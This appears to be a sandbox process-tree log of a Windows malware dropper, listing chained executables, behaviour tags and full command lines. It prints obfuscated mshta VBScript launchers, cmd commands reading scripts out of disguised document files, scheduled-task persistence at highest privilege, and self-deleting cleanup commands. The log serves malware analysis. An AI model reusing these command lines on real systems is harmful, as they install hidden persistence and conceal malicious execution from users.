C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2560 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3780 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4116 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3772 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5636 /prefetch:812⤵
-
-
C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel=stable --force-configure-user-settings12⤵
-
C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=93.0.4577.63 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6a97d6ee0,0x7ff6a97d6ef0,0x7ff6a97d6f0013⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4560 /prefetch:812⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4532 /prefetch:812⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3788 /prefetch:812⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4468 /prefetch:212⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 5660 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\U76r3dbnaPdce9ASfwzs2Lx0.exe"11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 566012⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 5660 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\U76r3dbnaPdce9ASfwzs2Lx0.exe"11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 566012⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\WLK4f2hG9DGOjJlhuVWkyFKG.exe"C:\Users\Admin\Documents\WLK4f2hG9DGOjJlhuVWkyFKG.exe"10⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST11⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST11⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"11⤵
-
C:\Users\Admin\Documents\4TaU1hnjC91CM0UJi_zUpDVI.exe"C:\Users\Admin\Documents\4TaU1hnjC91CM0UJi_zUpDVI.exe"12⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE ( creatEoBjECT ( "wScRiPt.shELl" ). RuN ("CMD /c TypE ""C:\Users\Admin\Documents\4TaU1hnjC91CM0UJi_zUpDVI.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\Users\Admin\Documents\4TaU1hnjC91CM0UJi_zUpDVI.exe"" ) do taskkill /Im ""%~NxB"" /F " , 0 , tRUe ) )13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\Documents\4TaU1hnjC91CM0UJi_zUpDVI.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\Users\Admin\Documents\4TaU1hnjC91CM0UJi_zUpDVI.exe" ) do taskkill /Im "%~NxB" /F14⤵
-
C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXEGZ9~4QZ~O.EXe -P6_oIH__Ioj5q15⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE ( creatEoBjECT ( "wScRiPt.shELl" ). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " , 0 , tRUe ) )16⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F17⤵
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S16⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "4TaU1hnjC91CM0UJi_zUpDVI.exe" /F15⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\Documents\jbdh6XzDiGikrwKNjpoPTmGs.exe"C:\Users\Admin\Documents\jbdh6XzDiGikrwKNjpoPTmGs.exe"12⤵
-
-
C:\Users\Admin\Documents\UFRs79UXpmpwMEsm4dzQQs9W.exe"C:\Users\Admin\Documents\UFRs79UXpmpwMEsm4dzQQs9W.exe" /mixtwo12⤵
-
-
C:\Users\Admin\Documents\Ttx6AHeeEdPIYNLjQmTNS83g.exe"C:\Users\Admin\Documents\Ttx6AHeeEdPIYNLjQmTNS83g.exe"12⤵
-
C:\ProgramData\4693110.exe"C:\ProgramData\4693110.exe"13⤵
-
-
C:\ProgramData\4519572.exe"C:\ProgramData\4519572.exe"13⤵
-
-
-
-
-
C:\Users\Admin\Documents\EDLJaZGG2EAWAYb9IHncLyKv.exe"C:\Users\Admin\Documents\EDLJaZGG2EAWAYb9IHncLyKv.exe"10⤵
-
-
C:\Users\Admin\Documents\zcNfHoM0AJWoySG0ZY3Hjm2g.exe"C:\Users\Admin\Documents\zcNfHoM0AJWoySG0ZY3Hjm2g.exe"10⤵
-
-
C:\Users\Admin\Documents\YWanjwafML7x3JVFyimJv4bq.exe"C:\Users\Admin\Documents\YWanjwafML7x3JVFyimJv4bq.exe"10⤵
-
-
C:\Users\Admin\Documents\DDoigu0fB0lJO2YHok55Jzwx.exe"C:\Users\Admin\Documents\DDoigu0fB0lJO2YHok55Jzwx.exe"10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL"). Run ( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\DDoigu0fB0lJO2YHok55Jzwx.exe"" > X4d4XArNWDu.eXE && StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """" == """" for %A IN ( ""C:\Users\Admin\Documents\DDoigu0fB0lJO2YHok55Jzwx.exe"" ) do taskkill /f -im ""%~nxA"" " , 0 , trUE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\DDoigu0fB0lJO2YHok55Jzwx.exe"> X4d4XArNWDu.eXE && StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if "" == "" for %A IN ( "C:\Users\Admin\Documents\DDoigu0fB0lJO2YHok55Jzwx.exe" ) do taskkill /f -im "%~nxA"12⤵
-
C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXEX4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV13⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL"). Run ( "cmD.exe /Q /c TYPE ""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" > X4d4XArNWDu.eXE && StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if ""-PXPoqL0iOUHHP7hXFattB5ZvsV "" == """" for %A IN ( ""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" ) do taskkill /f -im ""%~nxA"" " , 0 , trUE ) )14⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"> X4d4XArNWDu.eXE && StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if "-PXPoqL0iOUHHP7hXFattB5ZvsV " == "" for %A IN ( "C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE" ) do taskkill /f -im "%~nxA"15⤵
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" -S fOUT6o7J.Mj14⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f -im "DDoigu0fB0lJO2YHok55Jzwx.exe"13⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\Documents\qOIMRqH3Dfe7F2q1yipq4LYO.exe"C:\Users\Admin\Documents\qOIMRqH3Dfe7F2q1yipq4LYO.exe"10⤵
-
-
C:\Users\Admin\Documents\c3asQBWljeaNMs0Athdc_SoM.exe"C:\Users\Admin\Documents\c3asQBWljeaNMs0Athdc_SoM.exe"10⤵
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\SysWOW64\explorer.exe"11⤵
-
-
-
C:\Users\Admin\Documents\aVKiwJIuJeFwYTHSerQ0MzFZ.exe"C:\Users\Admin\Documents\aVKiwJIuJeFwYTHSerQ0MzFZ.exe"10⤵
-
C:\Users\Admin\Documents\aVKiwJIuJeFwYTHSerQ0MzFZ.exe"C:\Users\Admin\Documents\aVKiwJIuJeFwYTHSerQ0MzFZ.exe"11⤵
-
-
-
C:\Users\Admin\Documents\CYQiM1Y5QKamel3s3PkSWyGl.exe"C:\Users\Admin\Documents\CYQiM1Y5QKamel3s3PkSWyGl.exe"10⤵
-
C:\Users\Admin\Documents\CYQiM1Y5QKamel3s3PkSWyGl.exe"C:\Users\Admin\Documents\CYQiM1Y5QKamel3s3PkSWyGl.exe"11⤵
-
-
C:\Users\Admin\Documents\CYQiM1Y5QKamel3s3PkSWyGl.exe"C:\Users\Admin\Documents\CYQiM1Y5QKamel3s3PkSWyGl.exe"11⤵
-
-
C:\Users\Admin\Documents\CYQiM1Y5QKamel3s3PkSWyGl.exe"C:\Users\Admin\Documents\CYQiM1Y5QKamel3s3PkSWyGl.exe"11⤵
-
-
-
C:\Users\Admin\Documents\sgKe3SoND9MwlUgBym82kUrQ.exe"C:\Users\Admin\Documents\sgKe3SoND9MwlUgBym82kUrQ.exe"10⤵
-
C:\Users\Admin\Documents\sgKe3SoND9MwlUgBym82kUrQ.exe"C:\Users\Admin\Documents\sgKe3SoND9MwlUgBym82kUrQ.exe"11⤵
-
-
-
C:\Users\Admin\Documents\H9BbOGzBFJbRqsyyOcGg7NZm.exe"C:\Users\Admin\Documents\H9BbOGzBFJbRqsyyOcGg7NZm.exe"10⤵
-
C:\Users\Admin\Documents\H9BbOGzBFJbRqsyyOcGg7NZm.exeC:\Users\Admin\Documents\H9BbOGzBFJbRqsyyOcGg7NZm.exe11⤵
-
-
-
C:\Users\Admin\Documents\ZfSiGNuLQdzn81iv9Q1bs8Qi.exe"C:\Users\Admin\Documents\ZfSiGNuLQdzn81iv9Q1bs8Qi.exe"10⤵
-
-
C:\Users\Admin\Documents\yZt4SknAuEAhlj1iJQsJNmkY.exe"C:\Users\Admin\Documents\yZt4SknAuEAhlj1iJQsJNmkY.exe"10⤵
-
-
C:\Users\Admin\Documents\8MPJExgupyIrzJ9K8vuEfFrs.exe"C:\Users\Admin\Documents\8MPJExgupyIrzJ9K8vuEfFrs.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\{BB457C50-D102-436E-815F-A2AFBB481C03}\8MPJExgupyIrzJ9K8vuEfFrs.exeC:\Users\Admin\AppData\Local\Temp\{BB457C50-D102-436E-815F-A2AFBB481C03}\8MPJExgupyIrzJ9K8vuEfFrs.exe /q"C:\Users\Admin\Documents\8MPJExgupyIrzJ9K8vuEfFrs.exe" /tempdisk1folder"C:\Users\Admin\AppData\Local\Temp\{BB457C50-D102-436E-815F-A2AFBB481C03}" /IS_temp11⤵
-
C:\Windows\SysWOW64\MSIEXEC.EXE"C:\Windows\system32\MSIEXEC.EXE" /i "C:\Users\Admin\AppData\Local\Downloaded Installations\{4175BAA6-49B9-43E5-8B49-E892979E209E}\menageudrivers.msi" SETUPEXEDIR="C:\Users\Admin\Documents" SETUPEXENAME="8MPJExgupyIrzJ9K8vuEfFrs.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\MSIC7E0.tmp"C:\Users\Admin\AppData\Local\Temp\MSIC7E0.tmp"13⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MSIC7BF.tmp"C:\Users\Admin\AppData\Local\Temp\MSIC7BF.tmp"13⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MSIC7DF.tmp"C:\Users\Admin\AppData\Local\Temp\MSIC7DF.tmp"13⤵
-
-
-
-
-
C:\Users\Admin\Documents\cRdUqSYgYuiC5weu1H669T0L.exe"C:\Users\Admin\Documents\cRdUqSYgYuiC5weu1H669T0L.exe"10⤵
-
-
C:\Users\Admin\Documents\juw5HlZFTRl6YaW2cnsqReRh.exe"C:\Users\Admin\Documents\juw5HlZFTRl6YaW2cnsqReRh.exe"10⤵
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe11⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Nobile.docm11⤵
-
C:\Windows\SysWOW64\cmd.execmd12⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^mFzuIhvmvbdHpfegBQvdRBWtkZruqmiMQZvPfzkmbfdsclZwZBnIIvmXJgVJldnWdERlThYiFXSCkFJqZwimwmrxmnuwnBfiQxqRzPi$" Vederlo.docm13⤵
-
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comRimasta.exe.com J13⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J14⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J15⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J16⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J17⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J18⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J19⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J20⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J21⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J22⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J23⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J24⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J25⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J26⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J27⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J28⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J29⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J30⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J31⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J32⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J33⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J34⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J35⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J36⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J37⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J38⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\RegAsm.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\RegAsm.exe39⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost13⤵
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\Documents\fCBneek9hJFJfJpYMPUFDdpH.exe"C:\Users\Admin\Documents\fCBneek9hJFJfJpYMPUFDdpH.exe"10⤵
-
-
C:\Users\Admin\Documents\3Ed_tuhvyDXLh0R1oxNbaLVr.exe"C:\Users\Admin\Documents\3Ed_tuhvyDXLh0R1oxNbaLVr.exe"10⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\028d53f5224f9cc8c60bd953504f1efa.exe"C:\Users\Admin\AppData\Local\Temp\028d53f5224f9cc8c60bd953504f1efa.exe"9⤵
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b9847cb6727.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu21b9847cb6727.exeThu21b9847cb6727.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214ce31cede21.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu214ce31cede21.exeThu214ce31cede21.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Thu214ce31cede21.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu214ce31cede21.exe" & del C:\ProgramData\*.dll & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Thu214ce31cede21.exe /f7⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2156de5489c19.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu2156de5489c19.exeThu2156de5489c19.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\tmp3E18_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp3E18_tmp.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe7⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Attesa.wmv7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^VksJcWfNcDMqfgfCCoOQaENLrlkioAEZRevWUFgpnuTZyylQxdxsqDodbFGlKiEVZMohRaHWUFajKOGYZxNRyhZgTymgZtndBYqaWXYwInbclWFIZIldx$" Braccio.wmv9⤵
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comAdorarti.exe.com u9⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u10⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u11⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u12⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u13⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u14⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u15⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u16⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u17⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u18⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u19⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u20⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u21⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u22⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u23⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u24⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u25⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u26⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u27⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u28⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u29⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u30⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u31⤵
-
